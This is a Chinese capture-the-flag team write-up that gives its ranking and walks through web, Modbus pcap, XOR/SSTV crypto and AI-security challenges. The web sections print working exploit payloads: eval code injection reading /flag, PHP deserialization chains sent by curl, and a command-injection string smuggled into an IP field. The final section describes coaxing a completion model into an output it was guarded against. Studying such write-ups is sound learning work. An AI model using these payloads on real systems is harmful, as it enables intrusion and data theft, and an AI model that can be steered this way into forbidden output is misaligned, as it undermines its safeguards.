# 菜鸟联盟战队 WriteUp

## 排名

战队名称：第32名

| 排名 | 战队名称 | 总分 | 战队强项 | 解题数量 | 一血数量 | 最新更新 |
|---|---|---|---|---|---|---|
| 31 | 凡人修仙队-广西省分行 | 2200 | AI安全 | 6 | 0 | 2025-09-11 16:14:16 |
| 32 | 菜鸟联盟 | 2157.5 | Web | 7 | 1 | 2025-09-11 16:38:26 |
| 33 | 吃饭不排队 | 2150 | Web | 7 | 0 | 2025-09-11 16:56:35 |
| 34 | 防火墙拆迁队 | 2150 | Web | 7 | 0 | 2025-09-11 17:30:44 |
| 35 | 一轮游队 | 2000 | Web | 6 | 0 | 2025-09-11 17:32:21 |
| 36 | 香蕉道守得住队 | 1860.5 | Web | 7 | 0 | 2025-09-11 17:34:08 |

## 解题思路

### WEB

#### 数据净化器

首先下载解压文件。我已经读取了app.py和purifier.py的源代码，需要仔细分析其中的漏洞。

首先看app.py，这是一个Flask应用，提供了文件上传功能，仅允许.csv文件。上传后保存到./uploads目录，然后调用process_csv函数处理，并将结果以HTML表格形式返回。看起来文件上传部分限制了扩展名，可能比较安全，但关键在数据处理逻辑。

接下来看purifier.py，这里有两个函数：sanitize_column和process_csv。process_csv使用pandas读取CSV文件，然后对"raw_data"列应用sanitize_column函数，并将结果存入"cleaned"列。

问题出在sanitize_column函数：如果列以"["或"__"开头，就使用eval(col)处理，否则直接返回col。这里的eval调用非常危险！因为eval会执行字符串中的Python代码，如果用户能够控制col的值，就可以注入任意代码。

例如，如果CSV中的raw_data字段包含类似"**import**('os').system('ls')"的内容，sanitize_column会因为以"__"开头而执行eval，从而执行系统命令。这是典型的代码注入漏洞。

现在需要验证这个漏洞是否可利用。假设我们构造一个CSV文件，其中raw_data列包含恶意代码，如： raw_data **import**('os').popen('cat /flag').read()

当服务器处理这个CSV时，sanitize_column会对该值执行eval，从而读取/flag文件并返回内容。由于结果会显示在HTML页面中，我们可以通过上传这样的CSV来获取flag。

需要确认的是，服务器上是否存在/flag文件，这是CTF题目中常见的flag位置。此外，应用是否有足够权限读取该文件。

因此，下一步是创建包含恶意代码的CSV文件，上传到目标Web服务，触发代码执行并获取flag。结果页面就显示出来flag了。

| raw_data | cleaned | |
|---|---|---|
| 0 | **import**('os').popen('cat /flag').read() | flag{50a46e6e740f804f5b1d508ea5a0b82f}\n |

# MISC

## 被篡改的PLC指令

利用python的paramiko 下载所需modbus_attack.pcapng， python实现如下

```
import paramiko
import os

# SSH连接信息
hostname = "113.201.14.253"
port = 43222
username = "ctf"
password = "123456"
target_filename = "modbus_attack.pcapng"

# 初始化SSH客户端
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

try:
    # 连接SSH服务器
    ssh.connect(hostname, port=port, username=username, password=password)
    print("SSH连接成功")

    # 搜索目标文件
    stdin, stdout, stderr = ssh.exec_command(f"find / -name {target_filename} 2>/dev/null")
    file_path = stdout.read().decode().strip()

    if not file_path:
        print(f"未找到文件: {target_filename}")
        # 尝试常见目录
        common_dirs = ["/home/ctf", "/tmp", "/var/log", "/root"]
        for dir in common_dirs:
            stdin, stdout, stderr = ssh.exec_command(f"ls {dir}/{target_filename} 2>/dev/null")
            test_path = stdout.read().decode().strip()
            if test_path:
                file_path = f"{dir}/{target_filename}"
                break

    if not file_path:
        print("文件搜索失败")
        exit(1)
```

```
    print(f"找到文件: {file_path}")

    # SFTP下载文件
    sftp = ssh.open_sftp()
    local_path = f"/tmp/{target_filename}"
    sftp.get(file_path, local_path)
    sftp.close()
    print(f"文件下载成功: {local_path}")

    # 读取文件内容并保存到本地
    with open(local_path, "rb") as f:
        file_content = f.read()

    with open(target_filename, "wb") as f:
        f.write(file_content)

    print(f"文件已保存到本地: {target_filename}")

except Exception as e:
    print(f"发生错误: {str(e)}")
finally:
    ssh.close()
```

- 收集所有写操作（0x06、0x10）的数据，拼接后尝试多种解码方式（ASCII、UTF-8、十六进制转字符串、Base64等）。
- 检查其他功能码的数据包，特别是异常的功能码。
- 正确处理16位寄存器的字节顺序，确保数据正确转换。

```
from scapy.all import *
from scapy.layers.inet import TCP
import binascii
import base64

def find_modbus_malicious_commands(pcap_file):
    packets = rdpcap(pcap_file)
    write_data = []
    modbus_write_functions = {0x05, 0x06, 0x0F, 0x10}  # 扩展功能码范围

    for pkt in packets:
        if TCP in pkt and pkt.haslayer(Raw):
            raw_data = pkt[Raw].load
            # 检查是否为Modbus TCP (MBAP头部以0x00开头，协议标识符为0)
            if len(raw_data) >= 7 and raw_data[2:4] == b'\x00\x00':  # 协议标识符为0
                mbap_length = int.from_bytes(raw_data[4:6], byteorder='big')
                if len(raw_data) >= 7 + mbap_length -1:  # MBAP长度包含单元标识符+PDU
                    pdu = raw_data[7:]
                    function_code = pdu[0] if len(pdu) > 0 else None
                    if function_code in modbus_write_functions:
                        data = pdu[1:]
                        write_data.append((function_code, data))

                        print(f"功能码0x{function_code:02x}, 数据长度: {len(data)}, 原始数据:
```

```
{binascii.hexlify(data).decode()}")

    # 处理收集到的所有写操作数据
    all_data = b''.join([d[1] for d in write_data])

    # 尝试多种解码方式
    possible_flags = []

    # 1. 直接ASCII解码
    try:
        ascii_str = all_data.decode('ascii', errors='ignore')
        if 'flag{' in ascii_str:
            start = ascii_str.index('flag{')
            end = ascii_str.index('}', start) +1 if '}' in ascii_str[start:] else None
            if end:
                possible_flags.append(ascii_str[start:end])
    except:
        pass

    # 2. 十六进制字符串解码
    hex_str = binascii.hexlify(all_data).decode()
    try:
        hex_decoded = bytes.fromhex(hex_str).decode('ascii')
        if 'flag{' in hex_decoded:
            start = hex_decoded.index('flag{')
            end = hex_decoded.index('}', start) +1 if '}' in hex_decoded[start:] else None
            if end:
                possible_flags.append(hex_decoded[start:end])
    except:
        pass

    # 3. Base64解码
    try:
        b64_decoded = base64.b64decode(all_data).decode('ascii', errors='ignore')
        if 'flag{' in b64_decoded:
            start = b64_decoded.index('flag{')
            end = b64_decoded.index('}', start) +1 if '}' in b64_decoded[start:] else None
            if end:
                possible_flags.append(b64_decoded[start:end])
    except:
        pass

    # 4. 按寄存器拆分（16位）并尝试解码
    for i in range(0, len(all_data), 2):
        reg_data = all_data[i:i+2]
        try:
            reg_str = reg_data.decode('ascii')
            if 'flag{' in reg_str:
                possible_flags.append(reg_str)
        except:
            pass


    # 去重并检查
```

```
    for flag in list(set(possible_flags)):
        if flag.startswith('flag{') and '}' in flag:
            print(f"找到可能的flag: {flag}")
            return flag

    # 输出所有尝试结果供手动检查
    with open("modbus_write_data.txt", "w") as f:
        f.write(f"所有写操作数据（十六进制): {hex_str}\n")
        f.write(f"ASCII解码: {ascii_str}\n")
        f.write(f"十六进制解码: {hex_decoded if 'hex_decoded' in locals() else '失败'}\n")
        f.write(f"Base64解码: {b64_decoded if 'b64_decoded' in locals() else '失败'}\n")

    return None

if __name__ == "__main__":
    pcap_file = "modbus_attack.pcapng"
    flag = find_modbus_malicious_commands(pcap_file)
    if flag:
        with open("flag_result.txt", "w") as f:
            f.write(flag)
        print(f"flag已保存到flag_result.txt: {flag}")
    else:
        print("未找到flag，但已将写操作数据保存到modbus_write_data.txt")
```

根据输出，脚本找到了多个Modbus写操作，特别是功能码0x05、0x06和0x10的数据包。其中功能码0x10的多个数据包数据部分包含了疑似flag的片段，例如“666c61677b3136393461”（十六进制）转换为ASCII是“flag{1694a”，后续还有“66386631303838613637”对应“f8f1088a67”，以及“39663533363936383661”对应“9f5369686a”，最后是“613961376233327d”对应“a9a7b32}”。拼接这些片段后，得到完整的flag应该是“flag{1694af8f1088a679f5369686aa9a7b32}”。

# WEB

## 好简单的反序列化

通过分析代码，我发现这是一个PHP反序列化漏洞。

Lei1类： Evil() 方法会执行 highlight_file($this->file)，目标是读取 flag.php __destruct() 方法会输出 $this->a __wakeup() 方法会执行 die("g")，

Lei2类： __toString() 方法会调用 $this->c->Evil() 利用思路： 需要绕过 __wakeup() 方法

利用对象链调用 Evil() 方法读取 flag.php 构造payload：

```
curl "http://c1d82d93.clsadp.com/?1=O%3A4%3A%22Lei1%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A4%3A%22Lei2%22%3A1%3A%7Bs%3A1%3A%22c%22%3BO%3A4%3A%22Lei1%22%3A2%3A%7Bs%3A1%3A%22a%22%3BN%3Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7Ds%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D"
```

# WEB

## 运维系统

从代码中可以看到： filter函数过滤了很多命令，包括cat、ls、echo等

filterip函数验证IP地址格式

第27行有一个可疑的curl命令，读取key.php文件

```
curl -X POST -d "cmd=127.0.0.1%26find%20/%20-name%20%22*.php%22%202%3E/dev/null"
http://31eb94b2.clsadp.com/
```

# WEB

## 你知道我的密码吗

php反序列化漏洞

需要构造一个payload，使得：

原始序列化数据中 $user[1] 不是 "123456"

经过filter处理后，$user[1] 变成 "123456"

```
php -r '
// 使用经典的PHP序列化逃逸技巧

echo "=== 经典序列化逃逸 ===\n";

// 经典方法：构造一个能让中间的password字段被覆盖的payload
// 关键是要精确控制字符串边界

// 分析原始流程：
// array($username, "abcbc", $age) -> serialize -> filter(xx->y) -> unserialize
// 我们要让filter后的结果，反序列化时$result[1] = "123456"

// 新策略：利用age参数完全重构数组结构
// 构造age使得它"逃逸"出自己的字符串边界，然后注入新的数组结构

// 目标：构造这样的结构，filter后变成：
// a:3:{i:0;s:X:"...";i:1;s:6:"123456";i:2;s:Y:"...";}

$escaped_content = "\";i:1;s:6:\"123456\";i:2;i:0;}";
echo "Escaped content: " . $escaped_content . "\n";
echo "Length: " . strlen($escaped_content) . "\n";

// 需要这么多个字符的逃逸空间
$escape_chars = strlen($escaped_content);

// 在user参数中放入对应数量的xx
$user_param = str_repeat("x", $escape_chars * 2); // 因为每两个x形成一个xx
$age_param = $escaped_content . "padding";

echo "User param: " . $user_param . "\n";
echo "Age param: " . $age_param . "\n";
```

```
// 测试本地序列化
$test_array = array($user_param, "abcbc", $age_param);
$original = serialize($test_array);
echo "Original: " . $original . "\n";

// 手动构造包含xx的版本进行测试
$user_with_xx = str_repeat("xx", $escape_chars);
$test_array_xx = array($user_with_xx, "abcbc", $age_param);
$original_xx = serialize($test_array_xx);
echo "With xx: " . $original_xx . "\n";

$filtered = str_replace("xx", "y", $original_xx);
echo "Filtered: " . $filtered . "\n";

$result = @unserialize($filtered);
if ($result !== false) {
    echo "☑ Local test success!\n";
    print_r($result);
    if (isset($result[1]) && $result[1] === "123456") {
        echo "🎉 Condition met locally!\n";
    }
}

// 构造实际攻击URL
echo "\n=== 构造攻击 ===\n";
$attack_user = urlencode($user_with_xx);
$attack_age = urlencode($age_param);
$url = "http://91370db7.clsadp.com/?user=" . $attack_user . "&age=" . $attack_age;

echo "Attack URL: " . $url . "\n";

// 执行攻击
echo "\n=== 执行攻击 ===\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
curl_close($ch);

echo "Response: " . $response . "\n";

if ($response && $response !== "nonono") {
    echo "🚩🚩🚩 可能获得FLAG: " . $response . "\n";
} else {
    echo "攻击未成功，继续尝试其他方法...\n";
}
'
```

# Crypto

## 回到原点

根据题目描述，可能有异或加密

使用密钥"space"解密后得到了一个RIFF文件（WAV音频文件格式）

```
def xor_decrypt(data, key):
    key_bytes = key.encode()
    result = bytearray()
    for i, byte in enumerate(data):
        result.append(byte ^ key_bytes[i % len(key_bytes)])
    return bytes(result)

# 使用"space"作为密钥进行XOR解密
with open("/nfs_nas/nas_ctf/20250911/space", 'rb') as f:
    encrypted_data = f.read()

decrypted = xor_decrypt(encrypted_data, "space")

# 验证解密结果 - 应该看到RIFF头部
print(decrypted[:32].hex())  # 应该显示RIFF WAV文件头

with open("decrypted_space.wav", 'wb') as f:
    f.write(decrypted)
```

使用SSTV解码器将音频信号解码为图像

~/.local/bin/sstv -d decrypted_space.wav -o decoded_image.png

图像当中有base64编码的字符，抄出来即可解析出来flag

# AI安全

## 和聪明的吊椅宝宝聊天吧亲

打开题目的环境，会发现是一个语言模型界面，查看提示，必须要语言模型输出you are smart才可以得到flag 随便输入几段话，会发现模型并不具备语言理解能力，并不能根据你的输入问题，回答出来答案 但是可以发现，回答总是可以补全你的对话，你发 you are ，对方可以回答形容词，判断为一个对话补全模型。 想要模型输出you are smart，就要输入相关内容，尝试反例，you are not silly，可以返现模型将会顺着对话成功输出you are smart。